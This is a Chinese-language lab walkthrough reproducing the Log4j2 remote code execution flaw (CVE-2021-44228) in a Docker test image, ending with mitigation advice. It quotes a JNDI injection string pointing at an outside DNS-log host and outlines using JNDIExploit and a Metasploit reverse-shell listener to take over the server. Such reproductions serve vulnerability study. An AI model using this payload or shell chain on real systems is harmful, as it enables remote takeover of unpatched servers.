CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现
漏洞信息
漏洞原理
- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。
- 通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现bug是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害。
环境搭建
1.环境概述
-
Linux操作系统(kali) Log4j版本2.14.1 JNDIExploit-1.4-SNAPSHOT.jar
2.搭建过程
Linux下搭建:
拉取漏洞镜像
docker pull vulfocus/log4j2-rce-2021-12-09
启动漏洞镜像:
docker run -tid -p 7788:8080 vulfocus/log4j2-cve-2021-44228
点击???,可以发现payload是以GET的方式提交的。
漏洞复现
1.获取子域
2.构造payload
3.在DNSlog网站点击刷新记录,既可以发现一条DNS查询的记录(这里可能存在一些延迟,需要一些时间等待)。发现存在记录的话,就说明存在cve-2021-44228漏洞。
4.使用JNDIExploit-1.4-SNAPSHOT.jar工具开启LDAP、HTTP服务。这里-i参数是开启LDAP、HTTP服务的ip地址。
5.kali使用msf的java/meterpreter/reverse_tcp开启监听.
6.构造恶意payload
7.msf成功获取到了shell
修复建议
1、将Apache Log4j所有相关应用到Apache Log4j 2.3.1版本。
2、过滤用户输入(ldap、rmi、dns)。
3、禁止log4j使用lookup方法。
